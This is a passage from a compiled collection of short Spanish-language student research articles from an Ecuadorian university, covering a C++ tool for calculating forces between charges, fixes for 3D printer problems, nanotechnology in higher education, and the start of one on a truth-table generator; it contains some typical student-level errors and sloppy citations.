Método histórico-lógico: se utilizó para la construcción del proyecto, con énfasis en la sistematización de los antecedentes históricos del objeto y campo de la investigación. **Método análisis-síntesis:** se empleó en el estudio de los hechos y procesos, descomponiendo el objeto de la investigación y campo de acción para estudiarlos en forma individual (análisis), y luego se integran dichas partes para estudiarlas de manera integral (síntesis).

Método sistémico-estructural funcional: se aplicó en el diseño y modelación estructural del programa según los requerimientos de los usuarios y adaptando a los elementos detectados en la fase de análisis.

Método inducción-deducción: se usó para estudiar casos individuales y llegar a una generalización sobre el estudio del fenómeno del cálculo de las fuerzas entre cargas y resolución de método de gauss y su contextualización en los “estudiantes del primero A de la carrera de Tecnología de la Información”.

Del nivel empírico

Pre-experimento: se puso de manifiesto una vez desarrollado el prototipo del sistema, donde se realizan pruebas de validación para comprobar los tres elementos básicos que determinan la precisión del sistema como son: la disponibilidad, integridad y confidencialidad de la información, de igual manera se corroboran las evidencias físicas con los resultados arrojados por el sistema.

Encuestas: se realizó para recopilar los datos relacionados al problema mediante 5 preguntas lógicamente estructuradas dirigidas a la población objetivo del estudio, contribuyendo en el diagnóstico y formulación del problema.

Entrevistas estructuradas: De forma dirigida se aplicó este instrumento para obtener de manera precisa información detallada referente a procesos particulares de la organización.

De los niveles estadísticos-matemáticos:

Estadística Descriptiva: se utilizó para la tabulación de los datos obtenidos de la aplicación de las encuestas y el análisis de la muestra.

Estadística Inferencial: se empleó para determinar el tamaño de la muestra de manera de que pudiera ser representativa de la población, así como para inferir resultados a partir de las relaciones dadas en el proceso.

3. RESULTADOS Y DISCUSIÓN

Encuesta dirigida a estudiantes de la carrera de Tecnología de la Información por los autores de este proyecto.

Pregunta N°1

¿CONOCE USTED EL PROGRAMA DEV C++?

TABLA N° 1: Conocimiento al programa DEV C++

ENCUESTA	AD	
SI		
NO		
TOTAL		

Elaborado por: Gabriela Almendariz, Sara Pibaque

Gráfico N°1: Conocimiento del programa DEV C++

Elaborado por: Gabriela Almendariz, Sara Pibaque

Análisis

En la pregunta N°1 cuya interrogante manifiesta ¿CONOCE USTED EL PROGRAMA DEV C++? El 58% manifiesta que NO tiene conocimiento y un 42% SI tienen conocimiento.

Pregunta N° 2

¿USTED HA UTILIZADO EL PROGRAMA DEV C++?

TABLA N° 2: Utilización del programa DEV C++

RESPUESTA	CANTIDAD	%
SI	15	25%
NO	45	75%
TOTAL	60	100%

Elaborado por: Gabriela Almendariz, Sara Pibaque

Grafico N°2: Utilización del programa DEV C++

Elaborado por: Gabriela Almendariz, Sara Pibaque

Análisis

En la pregunta N°2 cuya interrogante manifiesta ¿USTED HA UTILIZADO EL ¿PROGRAMA DEV C++? El 75% manifiesta que NO tiene conocimiento y un 25% SI tienen conocimiento.

4. CONCLUSIONES

- El presente trabajo permitió analizar las diferentes técnicas y metodologías actuales para mejorar el cálculo de fuerzas ente cargas de la carrera de Tecnología de la Información. Es evidente que las programaciones con rutinas permitieron desarrollar la aplicación informática logrando generar y maximizar el valor en el tiempo de la organización. La aplicación informática fue diseñada en la plataforma C++ para calcular la fuerza entre cargar generando beneficios directos a los estudiantes.

REFERENCIAS BIBLIOGRÁFICAS

(Cabero, 2004). . (s.f.).

ANONIMO. (13 de Octubre de 2009). CONOCIENDOLAFISICA'S BLOG. Obtenido de CONOCIENDOLAFISICA'S BLOG: <https://conociendolafisica.wordpress.com/fisica-ii/apuntes-de-electrostatica/antecedentes-historicos-de-la-electricidad/>

anonimo. (09 de mayo de 2015). alegs. Obtenido de alegs: http://www.alegsa.com.ar/Dic/blackberry_os.php

anonimo. (12 de diciembre de 2015). tecnologia-faci. Obtenido de tecnologia-faci: <http://tecnologia-facil.com/que-es/que-es-microsoft/>

anonimo. (20 de julio de 2017). wikibooks. Obtenido de wikibooks: https://es.wikibooks.org/wiki/Programaci%C3%B3n_en_C%2B%2B/Introducci%C3%B3n

CABALLERO, r. J. (anonimo de anonimo de anonimo). monografias.com. Obtenido de monografias.com: <http://www.monografias.com/trabajos82/avances-tecnologia/avances-tecnologia.shtml>

Cabero. (2004). (Cabero, 2004). Obtenido de <https://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&uact=8&ved=0ahUKEwjy2LeksOrZAhXMxFkKHRzAB1UQFghQMAI&url=https%3A%2F%2Frelatec.unex.es%2Farticle%2Fdownload%2F197%2F185&usg=AOvVaw1ZlxoFBdouGs41EQDinf2o>

BIOGRAFÍA DEL AUTOR

Betzy Gabriela Almendariz Pionce, Estudiante de la carrera de Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa Fiscal Alejo Lascano Jipijapa-Manabí-Ecuador.

Sara María Pibaque Quimis, Estudiante de la carrera de Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa Fiscal 15 de octubre Jipijapa-Manabí-Ecuador.

Edwin Antonio Mero Lino, Ing. En Computación y Redes, Magister en Educación Informática, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí. Jipijapa-Manabí-Ecuador.

SOLUCIONES A LOS PROBLEMAS RECURRENTE QUE SE PRESENTAN EN LAS IMPRESORAS 3D

Espinoza Baque Ángel Enrique,

Pin De La Cruz Johanna Raquel,

Wagner Elías Almea Pilay,

Dayana Lissette Piguave Peralta,

Lcda. Kirenia Maldonado Zúñiga. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

espinozaangel0814@gmail.com

RESUMEN

Las soluciones a los problemas recurrentes que se presentan en las impresoras 3D en la investigación determina que son equipos tecnológicos y muy utilizados, muchos de estos tienen irregularidades, se asume la investigación explicativa este tipo de investigación la utilizamos especialmente para la investigación, ha sido poco explorado y reconocido, es difícil formular hipótesis precisas o de cierta generalidad. Las impresoras 3D siendo una máquina es capaz de realizar réplicas de diseños en 3D, creando piezas o maquetas volumétricas a partir de un diseño hecho en un ordenador. Estos equipos tecnológicos han beneficiado a muchas personas, pero hay quienes se lamentan al encontrar ciertas dificultades presentados a la hora de imprimir en tres dimensiones, se decide diagnosticar e investigar para mostrar las posibles soluciones a los problemas recurrentes encontrados en las impresoras 3D, el tipo de investigación que se utilizó es con el fin de intentar determinar las causas y consecuencias. El objetivo de la investigación es dar a conocer ciertas técnicas de una buena impresión de y permitir que se pueda imprimir de manera correcta para así no tener pérdidas de tiempo y materiales, Los métodos utilizados en la investigación como histórico-lógico, inducción-deducción, análisis-síntesis, método histórico – lógico, método-descriptivo, inducción-deductivo, método-analítico, observación, revisión bibliográfica. Los resultados permitieron conocer ciertas técnicas a emplear cuando se utilizan estas impresoras de tercera dimensión. Las soluciones dadas ayudan a resolver los problemas

que con más frecuencias presentan la impresión en 3D para poder dar posibles soluciones a los diferentes tipos de problemas.

PALABRAS CLAVE: automatización; diseños; recurrente; técnicas.

ABSTRACT

The solutions to the recurrent problems that appear in the 3D printers in the investigation determine that they are technological equipment and very used, many of these have irregularities, the explanatory research is assumed this type of research we use it especially for the investigation, it has been little explored and recognized, it is difficult to formulate precise hypotheses or of a certain generality. The 3D printers being a machine is capable of making replicas of 3D designs, creating pieces or volumetric models from a design made in a computer. These technological equipment has benefited many people, but there are those who lament when finding certain difficulties presented when printing in three dimensions, it is decided to diagnose and investigate to show the possible solutions to the recurring problems found in 3D printers, the type of research that was used is in order to try to determine the causes and consequences. The objective of the research is to disclose certain techniques of a good impression of and allow it to be printed correctly so as not to waste time and materials, The methods used in the investigation as historical-logical, induction-deduction, analysis-synthesis, historical-logical method, descriptive-method, induction-deductive, analytical-method, observation, bibliographic review. The results allowed to know certain techniques to be used when using these third dimension printers. The given solutions help to solve the problems that with more frequencies present the 3D printing to be able to give possible solutions to the different types of problems.

KEYWORDS: automation; designs; recurrent; techniques.

INTRODUCCIÓN

Para determinar las soluciones a los problemas recurrentes que se presentan en las impresoras 3d, es importante retroceder al inicio de la impresión en 3D que se remonta a 1976, cuando se inventó la impresora de inyección de tinta. En 1984, algunas adaptaciones y avances sobre el concepto de la inyección de tinta transformaron la tecnología de impresión con tinta a impresión con materiales. Es importante abrir nuevos espacios para la transformación de las estructuras, no solo para depender de contenidos temáticos, sino a una tendencia al desarrollo cognitivo con el objetivo de fortalecer las actividades de generalización, sistematización y abstracción. La necesidad de proyectarse hacia un futuro, donde la creatividad y la innovación sean el enlace hacia la vida cotidiana, se percibe la necesidad de investigar para mostrar las posibles soluciones a los problemas recurrentes encontrado en las impresoras 3D, siendo esta una máquina capaz de realizar réplicas de diseños en 3D, creando piezas o maquetas volumétricas a partir de un diseño hecho en un ordenador, descargado de internet o recogido a partir de un escáner 3D. Surgen con la idea de convertir archivos de 2D en prototipos reales o 3D.

Si bien es cierto estos equipos tecnológicos han beneficiado a muchas personas, también hay quienes se quejan al encontrar ciertas dificultades e inconvenientes presentados a la hora de imprimir en tres dimensiones, lo que da espacio a esta investigación ya que comúnmente se han utilizado en la prefabricación de piezas o componentes, en sectores como la arquitectura y el diseño industrial. En la actualidad se está extendiendo su uso en la fabricación de todo tipo de objetos, modelos para vaciado, piezas complicadas, alimentos, prótesis médicas, entre otros.

DESARROLLO

Para (Anonimo, 2018) La primera máquina de impresión 3D del tipo SLA (estéreo litográfico) en el mercado, fue desarrollada por la empresa 3D Systems. El funcionamiento básico de esta máquina consiste en que un láser UV va solidificando un fotopolímero, un líquido con la viscosidad y color parecido al de la miel, el cual va fabricando partes tridimensionales capa por capa.

El primer órgano de ingeniería en 1999 traen nuevos avances en medicina creado en laboratorio, se implementó en humanos fue un aumento de la vejiga urinaria utilizando recubrimiento sintético con sus propias células.

2006 – El SLS y la personalización en la fabricación en masa, este año se construye la primera máquina del tipo SLS (Sintetización de laser selectivo) viable. Básicamente, este tipo de máquina utiliza un láser para fundir materiales en el proceso de impresión 3D. Este descubrimiento abre las puertas a la personalización masiva y a la demanda de fabricación de piezas industriales, y más tarde, prótesis.

Ese mismo año, un proveedor de materiales e impresoras 3D, crea una máquina con la capacidad de imprimir en múltiples materiales, incluyendo polímeros y elastómeros.

2008 – La primera impresora con capacidad de auto replica.

Tras su lanzamiento en 2005, el proyecto RepRap saca a la luz Darwin, la primera impresora 3D con capacidad de imprimir la mayoría de sus propios componentes, permitiendo a los usuarios que ya tienen una, hacer más impresoras para sus amigos o incluso reparar componentes de la suya.

2008 – Gran avance en la prótesis.

La primera persona que camina sobre una pierna de prótesis impresa en 3D, con todas las partes, rodilla, pie, etc, impresa en una misma compleja estructura sin ningún tipo de montaje. Este tipo de avances permiten que los fabricantes de prótesis realicen desarrollos a medida en el sector de las prótesis.

2009 – De células a vasos sanguíneos.

Llega la bio-impresión, con la tecnología del Dr. Gabor Forgacs, que utiliza una bio-impresora 3D para imprimir el primer vaso sanguíneo.

2013: El Boom de las impresiones 3D

La tecnología se ha generalizado cuando el Presidente de los Estados Unidos la menciona. En su Discurso del Estado de la Unión 2013, Obama elogia la impresión 3D por tener “el potencial de revolucionar la forma en que hacemos casi todo”. El mismo año, The Big Bang Theory presenta un episodio que involucra la fabricación aditiva. La impresión 3D ya está en la boca de todo el mundo.

2018: En la actualidad se está extendiendo su uso en la fabricación de todo tipo de objetos, modelos para vaciado, piezas complicadas, alimentos, prótesis médicas (ya que la impresión 3D permite adaptar cada pieza fabricada a las características exactas de cada paciente), entre otros.

¿Cómo funciona una Impresora 3D?

El proceso de impresión tridimensional es, fundamentalmente, en ir creando un prototipo capa por capa y desde abajo hasta arriba. Para eso la máquina deposita una capa de plástico en polvo, se compacta la zona que le indica el ordenador y se vuelve a repetir el proceso colocando una capa sobre otra hasta que se completa la pieza.

ABS: Es el plástico que sueles encontrar en electrodomésticos y juguetes como el Lego. Es muy duro y resiste altas temperaturas. Para mejor, es fácil pintar sobre él, o pegar diferentes partes. Eso sí: es más difícil de usar por un novato y requiere que la impresora tenga una superficie capaz de calentarse a altas temperaturas.

PLA: Es un termoplástico de origen natural, cuya ventaja es la gran cantidad de colores disponibles y que permite impresiones más rápidas. Además no emite gases perjudiciales al salir del extrusor (a diferencia del ABS). Es el material ideal para empezar en la impresión en 3D, y para objetos que no requieran mucha resistencia (como adornos).

MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

Análisis-síntesis: se utilizó para determinar las posibles soluciones al imprimir en 3D.

Método histórico – lógico: Se usó en la construcción de la investigación con énfasis en la búsqueda de los antecedentes.

Método-Descriptivo: Permite describir, interpretar, entender las posibilidades de una buena impresión.

Inducción-Deductivo: Utilizada durante la investigación, para estudiar el problema, y mediante los resultados obtenidos poder contribuir a la solución de la problemática planteada.

Del nivel Empírico

Observación: Permite investigar y analizar los problemas más comunes de las impresoras 3D.

Revisión bibliográfica: Se utilizó en la recopilación de la información para la elaboración de la investigación, mediante libros, revistas científicas, entre otros.

RESULTADOS

Los resultados obtenidos de la investigación determinaron que a pesar de que las impresoras 3D son equipos tecnológicos y actualmente muy utilizados, muchos de estos tienen irregularidades, no solamente de fábrica, sino que también se pueden dar irregularidades al momento de la manipulación por la mano humana, errores que muchas veces no nos damos cuenta o simplemente se ignoran arbitrariamente lo que causa que se produzcan errores al momento de la impresión. Esta investigación permitió conocer ciertas técnicas a emplear cuando se utilizan estas impresoras de tercera dimensión, se mejorara el uso de estos equipos y permitirá que se pueda imprimir de manera correcta para así no tener pérdidas de tiempo, económicas y materiales.

CONCLUSIÓN

Las soluciones dadas ayudan a resolver los problemas que con más frecuencias se presentan a la hora de la impresión en 3D por lo que se ve la necesidad de realizar esta investigación para poder dar posibles soluciones a los diferentes tipos de problemas. Las impresoras 3D actuales han venido dando muchos beneficios a las personas en muchos ámbitos, pero si bien es cierto existen muchas falencias las cuales son necesarias corregir. Los problemas recurrentes que se presentaban en las impresoras 3D son fácilmente visibles al ojo humano y sencillos de resolver utilizando diferentes técnicas para cada uno de estos problemas, sin embargo es indispensable identificar muy bien el problema ya que muchos pueden llegar a ser similares y darle una

corrección diferente en vez de solucionar el problema, puede llegar a perjudicar las impresoras 3D. Las soluciones dadas ayudan a dar solución a los problemas que con más frecuencias se presentan a la hora de la impresión en 3D por lo que se ve la necesidad de realizar esta investigación para poder dar posibles soluciones a los diferentes tipos de problemas.

REFERENCIAS BIBLIOGRÁFICAS

Anonimo. (1 de Enero de 2018). *Impresoras3D.com*. Obtenido de <https://www.impresoras3d.com/breve-historia-de-la-impresion-3d/>

Fu, W. C. (13 de Mayo de 2013). *Blogspot*. Obtenido de Historia y Evolucion de las impresoras: <http://historia-y-evolucion-de-la-impresora.blogspot.com/>

Martin, L. (29 de Diciembre de 2016). *DIWO*. Obtenido de <https://cults3d.com/es/blog/articles/identificar-corregir-defectos-problemas-impresion-3D>

Muñoz, K. M. (1 de Septiembre de 2015). *Importancia de las impresoras 3D*. Obtenido de <http://impresorasena3d.blogspot.com/>

BIOGRAFÍA DE AUTOR

Ángel Enrique Espinoza Baque estudiante de la Universidad Estatal del Sur de Manabí, Bachiller Técnico en Administración de Sistema en la Unidad Educativa Fiscal Alejo Lascano Jipijapa-Manabí-Ecuador

Johanna Raquel Pin de la Cruz estudiante de la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal Alejo Lascano Jipijapa-Manabí-Ecuador

Wagner Elías Almea Pilay estudiante de la Universidad Estatal del Sur de Manabí, Bachiller en Contabilidad en la Unidad Educativa Fiscal Dr. Eduardo Granja Garcés Pedro Carbo-Guayas-Ecuador

Dayana Lissette Piguave Peralta estudiante de la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal Belisario Quevedo Jipijapa-Manabí-Ecuador

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

LA NANOTECNOLOGÍA EN FUNCIÓN DE LA EDUCACIÓN SUPERIOR

Choez Salazar Bryan Argenis,

Baque Suarez Jacqueline Lisseth,

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Miriam Adriana Castillo Merino. Mg

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

bryansalazar1206@gmail.com

RESUMEN

La nanotecnología es un campo de las ciencias aplicadas dedicado al control y manipulación de la materia a una escala menor que un micrófono. Las grandes revoluciones tecnológicas, como la industrial de la tecnología del siglo XVIII y la tecnológica basada en el transistor de estado sólido y los semiconductores del siglo XX. El objetivo es demostrar cómo la nanotecnología puede cambiar de manera drástica la vida del ser humano. La importancia de la enseñanza y las rápidas transformaciones científicas requieren de otros paradigmas para educar las nuevas generaciones de estudiantes, científicos y líderes de la academia y de la industria. La nanotecnología es la manipulación y estudio de materia en tamaño increíblemente pequeño. Es la ciencia que se ha caracterizado por hacer evolucionar a otras disciplinas como la mecánica, la medicina, la estabilidad térmica, la biodegradabilidad y las propiedades de barreras biopolímeros convencionales entre otros. En la investigación se utilizaron métodos como: del nivel teórico, análisis-síntesis e histórico – lógico, del nivel empírico, observación y revisión bibliográfica. Los resultados determinaron que la nanotecnología es la posibilidad de manejar las cosas a escala molecular, atómica y subatómica. Se concluye que la aplicación de la nanotecnología es de suma importancia para el diagnóstico, tratamiento, monitoreo y control de sistemas biológicos es denominada nanomedicina, la cual agrupa tres áreas principales: el nanodiagnóstico, la liberación controlada de fármacos y la medicina regenerativa. En Cuba, se trabaja en el desarrollo de equipos y metodologías de caracterización de materiales manométricos para la industria biotecnológica.

PALABRAS CLAVE: ciencia; evolución, inversión; nanotecnología.

ABSTRACT

Nanotechnology is a field of applied science dedicated to the control and manipulation of matter on a smaller scale than a microphone. The great technological revolutions, such as the industrial technology of the eighteenth century and the technology based on solid state transistor and semiconductors of the twentieth century. The objective is to demonstrate how nanotechnology can drastically change the life of the human being. The importance of teaching and rapid scientific transformations require other paradigms to educate the new generations of students, scientists and leaders of academia and industry. Nanotechnology is the manipulation and study of matter in incredibly small size. It is the science that has been characterized by evolving other disciplines such as mechanics, medicine, thermal stability, biodegradability and the properties of conventional biopolymer barriers, among others. The research used methods such as: the theoretical level, analysis-synthesis and historical-logical, empirical level, observation and literature review. The results determined that nanotechnology is the possibility of managing things on a molecular, atomic and subatomic scale. It is concluded that the application of nanotechnology is of great importance for the diagnosis, treatment, monitoring and control of biological systems is called nanomedicine, which groups three main areas: the nanodiagnosis, the controlled release of drugs and regenerative medicine. In Cuba, work is being done on the development of equipment and methodologies for the characterization of manometric materials for the biotechnology industry.

KEYWORDS: evolution; investment; science; nanotechnology.

1. INTRODUCCIÓN

La nanotecnología es un campo de las ciencias aplicadas dedicado al control y manipulación de la materia a una escala menor que un micrófono y manipulación es decir, a nivel de átomos y moléculas (nano materiales). Las grandes revoluciones tecnológicas, como la industrial de la tecnología del siglo XVIII y la tecnológica basada en el transistor de estado sólido y los semiconductores del siglo XX, han demostrado cómo pueden cambiar de manera drástica la vida del ser humano en todos sus aspectos, y han dejado como enseñanza que las rápidas transformaciones científicas y tecnológicas requieren de otros paradigmas para educar las nuevas generaciones de estudiantes, científicos y líderes de la academia y de la industria. La nano ciencia y la nanotecnología son dos, relativamente, recientes disciplinas definidas en la

escala de longitud donde científicos e ingenieros de múltiples campos descubren fascinantes fenómenos y aplicaciones y nos proveen con nuevas y exquisitas herramientas para diseñar novedosos materiales y componentes en electrónica, y avances fundamentales y aplicaciones en la física, la química, la biología molecular, la medicina, el medio ambiente, las industrias químicas, las farmacéuticas, etc. Es posible imaginar lo que se podría hacer si se pudiera construir objetos a la manera que trabaja la naturaleza, átomo por átomo y molécula a molécula. Solamente vislumbrar la posibilidad es fascinante. Actualmente, la investigación en ciencia de materiales nano-estructurados o nanotecnologías es un vasto y activo campo de investigación, tanto en ciencia básica como aplicada, con un alto grado de competencia académica y tecnológica. ¿Qué se quiere decir al utilizar el prefijo nano en nuestro léxico? En términos sencillos, nano es un prefijo griego que significa “enano” y al usarlo en términos y conceptos denota una amplia gama de fenómenos y objetos. Hablar de objetos de esa magnitud, sólo puede referir a átomos y moléculas, un diminuto universo cuyas leyes es necesario explicar. Pero antes se describirán brevemente las más importantes características que distinguen a la nano ciencia y las nanotecnologías. Nano ciencia es el estudio de los fenómenos y la manipulación de materiales a escala nanométrica. Nanotecnología es el diseño, caracterización y aplicación de estructuras, dispositivos y sistemas complejos mediante el control de la forma, el tamaño y las propiedades de la materia a escala nanométrica. Puesto que el término “nanotecnología” abarca un amplio rango de herramientas, técnicas y potenciales aplicaciones, algunos científicos encuentran más apropiado llamarlas nanotecnologías, y entre las disciplinas que convergen en ellas se encuentran la química, la física, la biología, la medicina y la ingeniería, entre otras. Se necesitan de muchas ciencias y las disciplinas para el estudio y utilización de nano estructuras, es decir, que las nanotecnologías son un campo inter y multidisciplinario. Lo multidisciplinario describe una relación preliminar entre dos o más disciplinas, mientras que interdisciplinario se refiere a que los lazos entre varias disciplinas son más fuertes, se sobreponen o integran. Esta integración o intercambio de conocimientos se da en varios niveles:

- Cuando no hay una comunicación efectiva.
- Nivel que involucra conocimientos de otra área insuficientes para ser experto, pero bastante para comunicarse con los que sí lo son.

- Implica a expertos que contribuyen en común a un área de investigación. La interdisciplinariedad y la multidisciplinariedad son algunas de las características más importantes de las nanotecnologías.

Otros rasgos igual de trascendentes son la “jerarquización” de los sistemas bajo estudio y el uso de las “leyes fundamentales” de las ciencias básicas como la física y la química. La primera se refiere a la complejidad estructural de los productos que se obtienen, es decir, que se podría empezar con la manipulación de átomos y moléculas para formar estructuras más simples y, mediante la combinación o utilización de éstas, alcanzar estructuras de mayor complejidad, pero sin perder de vista que para manipular estos “objetos” se requiere conocer y usar las leyes fundamentales de la física y la química, que son las leyes que los rigen. (Torres, 2017)

La nanotecnología engloba los campos de la ciencia y la técnica que estudian, obtienen y manipulan de manera controlada materiales, sustancias y dispositivos de muy reducidas dimensiones. Entre sus numerosas aplicaciones se pueden citar el desarrollo de energías, materiales y procesos no contaminantes, y la construcción de diminutos robots que navegan por nuestras arterias, de ordenadores del tamaño de una mota de polvo y de tejidos inteligentes autorreparables. La ciencia de la miniaturización extrema está calando en todos los sectores del desarrollo científico, económico e industrial. Por ello, el objetivo de Poole y Owens es el de proporcionar un resumen actualizado y suficientemente detallado para que los estudiantes e investigadores puedan obtener una apreciación de los desarrollos obtenidos en esta área. La claridad de exposición y la inclusión de introducciones a principios físicos y químicos básicos del tema sujeto a debate, hacen que Introducción a la nanotecnología sea un texto especialmente útil para aquellos que sientan la necesidad de conocer sobre la naturaleza y las perspectivas de este campo. Charles P. Poole Jr. es profesor emérito del Departamento de Física y Astronomía de la University of South Carolina. Frank J. Owens es investigador del Ejército de los Estados Unidos y profesor de Física de la Graduate School of Hunter College of the City University of New York. Ambos autores son miembros de la American Physical Society. (OWENS, 2007)

2. MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica como:

Del nivel teórico:

Análisis-síntesis: se utilizó para determinar los beneficios de la nanotecnología.

Método histórico – lógico: Se usó en el desarrollo de la investigación en la búsqueda de los antecedentes.

Del nivel Empírico

Observación: Permitió investigar y analizar los aportes de la nanotecnología.

Revisión bibliográfica: Se utilizó en la recopilación de la información para la elaboración de la investigación, mediante libros, revistas científicas, entre otros.

3. RESULTADOS Y DISCUSIÓN

Se demuestra que la nanotecnología es la posibilidad de manejar las cosas a escala molecular, atómica y subatómica. Entre sus campos de aplicación se incluyen: medioambiente, exploración espacial, tecnologías de la comunicación e informática, higiene y salud pública, entre otras. En la actualidad, la comunidad científica internacional la cataloga como uno de los proyectos más innovadores y ambiciosos de la ciencia moderna.

4. CONCLUSIONES

Se concluye que la aplicación de la nanotecnología es de suma importancia para el diagnóstico, tratamiento, monitoreo y control de sistemas biológicos es denominada nanomedicina, la cual agrupa tres áreas principales: el nanodiagnóstico, la liberación controlada de fármacos y la medicina regenerativa. En Cuba, se trabaja en el desarrollo de equipos y metodologías de caracterización de materiales manométricos para la industria biotecnológica.

REFERENCIAS BIBLIOGRÁFICAS

- Facts, C. S. (2018). Obtenido de chemicalsafetyfacts: <https://www.chemicalsafetyfacts.org/es/nanotecnologia/>
- Megías, I. (3 de febrero de 2017). Obtenido de nanomyp: <http://blog.nanomyp.com/10-aplicaciones-de-la-nanotecnologia>
- Orozco, O. L. (2018). Obtenido de revista enjambre: <http://www.ugto.mx/revistaenjambre/gamers/372-la-nanotecnologia-y-sus-aplicaciones>

OWENS, C. P. (2007). Obtenido de casadellibro: <https://www.casadellibro.com/libro-introduccion-a-la-nanotecnologia/9788429179712/1140204>
Torres, R. (14 de marzo de 2017). Obtenido de observatorio: <https://www.bcn.cl/observatorio/ciencia/noticias/introduccion-a-la-nanotecnologia>
villegas, j. (2018). Obtenido de nanotecnologia: <https://www.nanotecnologia.cl/que-es-nanotecnologia/>

BIOGRAFÍA DE AUTORES

Bryan Argenis Choez Salazar estudiante de la carrera “Tecnologías de la Información” de la Universidad Estatal del Sur de Manabí, Bachiller en Electromecánica Automotriz en la Unidad Educativa Fiscal Mixta “Dr. Eduardo Granja Garces” Pedro Carbo – Guayas – Ecuador.

Jacqueline Lisseth Baque Suarez estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal “Quince de Octubre” Naranjal – Guayas – Ecuador.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Castillo Merino Miriam Adriana. Docente de la Carrera de Ingeniería en Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador.

APLICACIÓN INFORMÁTICA PARA GENERAR TABLAS DE VALORES DE VERDAD EN APOYO AL PROCESO DE ENSEÑANZA-APRENDIZAJE

Geomayra Yuleidy Baque Galarza,

Bismarck David Lino Delgado,

Jonathan Benito Ponce Pozo,

Sandra Elizabeth Zambrano Solorzano,

Ing. Kleber Germiniano Marcillo Parrales. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

bisda3098@hotmail.com

geomayrayuleidybaquegalarza@gmail.com

RESUMEN

El generar ejercicios de tablas de valores de verdad es necesario, para aquellos estudiantes que siguen la carrera de Tecnologías de la Información y en efecto poner en evidencia los conocimientos adquiridos, determinando el resultado de una proposición planteada, es decir comprobar la verdad o falsedad de dicho ejercicio. Luego de haber utilizado el método empírico se obtuvo los resultados anhelados mediante una encuesta realizada a los estudiantes de Primer Semestre de la carrera de Tecnologías de la Información del periodo académico Mayo – Septiembre de 2017, se logra sintetizar, a través de este artículo, el déficit que tienen los estudiantes al momento de resolver los ejercicios de tablas de valores de verdad, debido a que suelen confundirse con distintos operadores lógicos y sus valores correspondientes. Además, se afirmó que los estudiantes deben tener conocimientos básicos en lo que se refiere a lógica proposicional, debido que de allí parte lo esencial para poder dominar estos ejercicios. A través de esta investigación, el objetivo fue plantear un nuevo método de aprendizaje y resolución para estos ejercicios, donde serán beneficiados muchos estudiantes, a la vez permite desplegar el resultado de forma fácil, rápida y segura. De acuerdo con lo antes mencionado, el presente trabajo se los justifica con el fin de mejorar las deficiencias que existen en los estudiantes al momento de realizar varios ejercicios de tablas de valores de verdad. Finalmente se logró comprobar que no todos los estudiantes presentan problemas para resolver estos ejercicios, debido a que ya habían adquirido breves conocimientos de ello.

PALABRAS CLAVES: Conocimientos, Falencias, Lógica, Tecnologías

ABSTRACT

The generation of truth-value table exercises is necessary for those students who follow Information Technologies, and in effect highlight the knowledge acquired, determining the result of a proposed proposal, that is, verifying the truth or falsity of said exercise. After having used the empirical method, the desired results were obtained by means of a survey made to the First Semester students of the Information Technology career of the academic period May - September 2017, it is possible to synthesize, through this article, the deficits that students have when solving the exercises of tables of truth values, because they tend to be confused with different logical operators and their corresponding values. In addition, it was affirmed that the students must have basic knowledge in what refers to propositional logic, because that is where the essential part is in order to be able to master these exercises. Through this research, the objective was to propose a new method of learning and resolution for these exercises, where many students will benefit, at the same time allowing to display the result easily, quickly and safely. In accordance with the aforementioned, this work is justified in order to improve the deficiencies that exist in students at the time of performing several truth-value table exercises. Finally, it was found that not all students have problems to solve these exercises, because they had already acquired brief knowledge of it.

KEYWORDS: flaws, knowledge, technologies, truth value tables.

1. INTRODUCCIÓN

La capacidad ha sido considerada durante mucho tiempo como una posibilidad reservada a la mente humana. La investigación desarrollada en los años 1960 en el área de la demostración automática de teoremas ha mostrado que esta tarea puede ser realizada por máquinas programables, tales como las computadoras, capaces no solo de modificar el conocimiento existente, sino también de obtener nuevas conclusiones. (Carranza, s.f.)

La lógica proposicional es un sistema formal diseñado para analizar ciertos tipos de argumentos. En lógica proposicional, las fórmulas representan proposiciones y las conectivas lógicas son

operaciones sobre dichas fórmulas, capaces de formar otras fórmulas de mayor complejidad. Como otros sistemas lógicos, la lógica proposicional intenta esclarecer nuestra comprensión de la noción de consecuencia lógica para el rango de argumentos que analiza. (Tumero, s.f.)

La tabla de los "valores de verdad", es usada en el ámbito de la lógica, para obtener la verdad (V) o falsedad (F), de una expresión o de una proposición. Además, sirven para determinar si es que un determinado esquema de inferencia es formalmente válido como un argumento, llegando a la conclusión de que este es una tautología (se habla de una tautología cuando todos los valores de la tabla mencionada son "V" o sea verdadero). (ecured, s.f.)

Las tablas de verdad nos permiten analizar cualquier fórmula y hallar sus valores de verdad. Nos dice si una fórmula es satisfactible. Si un razonamiento es válido o no. Constituye un procedimiento de decisión que en un número finito de pasos nos dice si una fórmula es una tautología o no. Toda tabla de verdad consta de dos tipos de columnas: las columnas de la izquierda (llamadas de referencia) en donde se pondrán todas las posibilidades de verdad y falsedad de las letras o variables proposicionales, y las columnas de la derecha que contienen los valores de verdad de las funciones presentes en la fórmula. (ficus, s.f.)

